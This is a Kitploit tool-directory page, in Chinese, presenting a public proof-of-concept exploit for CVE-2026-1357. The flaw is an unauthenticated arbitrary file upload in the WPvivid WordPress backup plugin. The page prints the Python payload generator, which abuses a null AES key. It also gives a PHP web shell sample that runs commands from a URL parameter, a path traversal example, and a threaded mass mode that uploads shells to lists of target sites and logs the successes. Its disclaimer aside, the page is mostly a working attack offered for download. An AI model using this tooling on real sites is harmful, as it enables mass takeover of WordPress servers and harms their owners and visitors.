Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - 未认证任意文件上传 | Kitploit
工具/GitHubGitHub/nxploited/cve-2026-1357
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - 未认证任意文件上传

查看仓库
126个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🧨 CVE-2026-1357 – WPvivid 空密钥利用工具 (CVE-2026-1357.py)

迁移、备份、暂存 – WPvivid Backup & Migration ≤ 0.9.123
漏洞类型: 未认证的任意文件上传 → 远程代码执行
CVE: CVE-2026-1357 – CVSS 9.8(严重)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 这个脚本的功能

Nxploited

CVE-2026-1357.py 是一个针对 WPvivid 漏洞的概念验证(PoC)利用工具。它聚焦于存在缺陷的 AES 会话处理机制,攻击者可利用该机制进行以下操作:

  1. 使用空的 AES 密钥/IV(全零字节)并以 WPvivid 所期望的格式对载荷进行加密。
  2. 将任意文件内容(例如 PHP shell)及所选的文件名/路径(name)嵌入到载荷中。
  3. 通过 wpvivid_action=send_to_site 参数将此载荷发送到 WPvivid 端点。
  4. (可选)验证文件是否已成功写入并可访问。

该脚本不会直接尝试猜测或滥用私钥。相反,它模拟 WPvivid 已损坏的流程:当 openssl_private_decrypt() 失败后,phpseclib 的 AES 密码实例会以空密钥初始化。


🧠 技术原理

🔐 AES 空密钥载荷

gen_wpvivid_payload() 的核心逻辑如下:

  • 它构建一个 JSON 结构:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • 它将该 JSON 序列化(紧凑格式,无空格)。

  • 它使用以下参数加密 JSON:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • 然后在前面附加:

    • 3 个字节:"000"(一个静态长度字段占位符)。
    • 16 字节的大写十六进制:密文长度编码为 "{len(cipher):016X}"。
  • 最终加密后的二进制块为:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • 该二进制块经过 base64 编码后,作为最终的 wpvivid_content 值返回。

函数:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

这与 RSA 解密失败后,易受攻击的代码路径中 WPvivid 的解密预期相符。


🧰 功能与模式

该脚本有两种主要模式,此外还具备批量测试能力:

  1. mood1 – 载荷生成器

    • 使用空密钥技巧生成有效的 wpvivid_content 值。
    • 支持多种方式定义文件内容。
    • 可选择针对目标列表启动批量测试器。
  2. mood2 – 单目标测试器

    • 使用先前生成的载荷。
    • 对单个目标进行端到端测试:
      • 发送载荷。
      • 构造预期生成的文件 URL。
      • 验证文件是否可访问。
  3. 批量模式(来自 mood1)

    • 将所选载荷发送到列表文件中的多个目标。
    • 使用并发和进度条。
    • 跟踪并记录成功的上传。

🚦 运行脚本

root@kitploit:~
python3 CVE-2026-1357.py

运行后会看到一个基于 Rich 的用户界面,其中包含横幅和模式选择:

  • mood1 – 载荷生成器
  • mood2 – 单目标测试器

🧪 模式:mood1 – 载荷生成器

用途

  • 创建一个编码了以下内容的利用载荷(wpvivid_content):
    • 你希望 WPvivid 写入的文件路径/名称。
    • 文件内容(shell、测试文件等)。

执行流程

  1. 模式选择

    出现以下提示时:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    按 Enter(默认为 mood1)或输入 mood1。

  2. 目标文件名 / 路径

    系统会要求你输入:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    示例:

    • 要将文件放入 WPvivid 备份目录:

      root@kitploit:~
      Nx_.php
      
    • 要利用目录遍历(如果目标允许):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    该值会写入 JSON 载荷的 name 字段。

  3. 内容输入模式

    脚本会显示三种定义文件内容的方式:

    • 模式 1:单行内容。
    • 模式 2:多行内容(以 EOF 结束)。
    • 模式 3:从本地文件读取(例如 shell.php)。

    提示如下:

    root@kitploit:~
    Mode [1/2/3] [1]:
    

可选:从 mood1 进入批量模式

生成载荷后,脚本会询问:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

如果你回答 y,它将使用你刚创建的载荷和文件名启动批量模式。


🌐 批量模式 – 多目标

用途

  • 使用单个利用载荷,对目标列表进行测试。

执行流程

  1. 目标列表文件

    示例提示:

    root@kitploit:~
    Targets list file (one URL per line):
    

    文件预期格式(例如 targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    脚本会自动规范化基础 URL(在缺少协议时自动添加)。

  2. 线程数

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    控制并行处理多少个站点。

  3. 单目标逻辑

    对每个目标:

    • 规范化 URL → base_url。

    • 调用:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      该函数会:

      • 构建包含 wpvivid_action=send_to_site + wpvivid_content=<payload> 的 POST 请求。
      • 使用经过调优的连接池设置的全新会话发送请求。
      • 检查响应中是否包含 {"result":"success"}(紧凑格式检查)。
    • 如果上传被视为成功:

      • 按如下方式构造 shell_url:


🧪 模式:mood2 – 单目标测试器

用途

  • 使用现有载荷(来自 wpvivid_payload.txt 或外部来源)对单个 URL 进行测试,并验证生成的文件。

执行流程

  1. 目标 URL

    提示:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    示例:

    root@kitploit:~
    https://victim.com
    

    脚本会将其规范化为如下基础 URL:

    root@kitploit:~
    https://victim.com
    
  2. 文件名

    提示:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    这是你预期 WPvivid 会写入的名称/路径(与你编码在载荷 name 字段中的内容一致)。

  3. 载荷输入

    提示:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • 如果你粘贴以 wpvivid_content=... 开头的完整行,它会去掉该前缀。
    • 如果只粘贴 base64,则直接原样使用。
  4. 执行

    脚本会:

    • 发送包含 wpvivid_action=send_to_site + 你的 wpvivid_content 的 POST 请求。

    • 如果响应表明成功,则构造:

      root@kitploit:~
      <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
      

该模式非常适用于对单个站点进行手动/实验室测试,并可以精细控制载荷。


📁 输出文件

  • wpvivid_payload.txt

    • 在 mood1 中写入。
    • 保存内容:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • 由 mood1(批量模式)和 mood2 写入。
    • 每行包含一个成功的文件 URL,即上传看起来已成功(并可选已验证)的 URL。

⚠️ 免责声明

本工具仅用于:

  • 在受控环境中进行安全研究。
  • 测试你拥有或已获得明确书面授权的系统。
  • 验证针对 CVE-2026-1357 的修复和检测措施。

使用此脚本即表示你同意:

  • 你有责任遵守所有适用法律。
  • 你不会在未经适当授权的系统上使用它。
  • 作者(Nxploited)对因使用本工具而导致的任何误用、损害、法律问题或事件不承担任何责任。

请自行承担风险使用,且仅用于合法的安全测试。


✍️ 作者与联系方式

  • 作者: Nxploited(Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

如需获取更新、工具和安全研究内容,请关注 Telegram 频道: 👉 @KNxploited

下载工具
  • 模式 1 – 单行

    root@kitploit:~
    Single line content:
    

    输入示例:

    root@kitploit:~
    <?php phpinfo();
    
  • 模式 2 – 多行

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    你可以粘贴或输入多行 PHP 脚本,然后在单独一行以 EOF 结束:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • 模式 3 – 本地文件

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    脚本会将整个文件读取到 file_bytes 中。

  • 载荷生成

    内容捕获完成后,脚本会:

    • 构建 JSON 对象。
    • 使用空密钥 AES-CBC 加密。
    • 封装二进制块。
    • 进行 Base64 编码。

    你会看到如下输出:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    同时会写入文件 wpvivid_payload.txt:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • root@kitploit:~
    f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
    
  • 将其保存到 Nx_.txt。

  • 尝试 verify_written_file():

    • 使用 GET 请求 shell_url。
    • 如果 status_code == 200,则标记为已验证。
  • 如果发生任何错误:

    • 脚本通过 short_reason() 对原因进行分类:
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR。
  • 界面

    • Rich 进度条显示总体进度和已用时间。
    • 每个站点输出:
      • 成功时输出 [OK] <shell_url>。
      • 出错时输出 [FAIL] <base> (reason: ...)。
      • 当上传可能成功但验证失败时,输出 [!] Not verified (...)。
  • 并打印带有该 URL 的 [OK]。

  • 将成功的 URL 追加到 Nx_.txt。

  • 通过 verify_written_file() 尝试验证并打印结果。